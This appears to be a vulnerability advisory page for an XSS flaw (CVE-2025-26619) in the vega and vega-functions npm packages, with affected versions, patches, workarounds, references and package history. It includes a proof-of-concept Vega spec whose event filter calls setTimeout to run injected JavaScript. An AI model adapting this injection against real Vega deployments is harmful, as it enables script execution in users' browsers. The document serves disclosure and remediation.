Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter
Impact
In vega 5.30.0 and lower, vega-functions 5.15.0 and lower , it was possible to call JavaScript functions from the Vega expression language that were not meant to be supported.
Patches
Patched in vega 5.31.0 / vega-functions 5.16.0
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- Run
vegawithoutvega.expressionInterpreter. This mode is not the default as it is slower. - Using the interpreter described in CSP safe mode (Content Security Policy) prevents arbitrary Javascript from running, so users of this mode are not affected by this vulnerability.
References
- Reported to Vega-Lite by @kprevas Nov 8 2024 in https://github.com/vega/vega-lite/issues/9469 & https://github.com/vega/vega/issues/3984
Reproduction of the error in Vega by @mattijn
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"signals": [
{
"name": "inject_alert",
"on": [
{
"events": [
{
"type": "mousedown",
"marktype": "rect",
"filter": ["scale(event.view.setTimeout, 'alert(\"alert\")')"]
}
],
"update": "datum"
}
]
}
],
"marks": [
{
"type": "rect",
"encode": {
"update": {
"x": {"value": 0},
"y": {"value": 0},
"width": {"value": 100},
"height": {"value": 100}
}
}
}
]
}Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vega | < 5.31.0 | 5.31.0 |
| npm package | vega-functions | < 5.16.0 | 5.16.0 |
References
- https://github.com/vega/vega/security/advisories/GHSA-rcw3-wmx7-cphr
- https://nvd.nist.gov/vuln/detail/CVE-2025-26619
- https://github.com/vega/vega-lite/issues/9469
- https://github.com/vega/vega/issues/3984
- https://github.com/vega/vega/commit/8fc129a6f8a11e96449c4ac0f63de0e5bfc7254c
- https://github.com/vega/vega
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
vega, vega-functions- Disclosed
- 27.03.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-rcw3-wmx7-cphr - CC BY 4.0
Vulnerability history: vega-functions
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 03.2023 01.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 4
Disclosures per year
- 2023: 2
- 2024: 0
- 2025: 2
- 2026: 1
-
Vega Cross-Site Scripting (XSS) via event filter when not using CSP mode expressionInterpeter this entry
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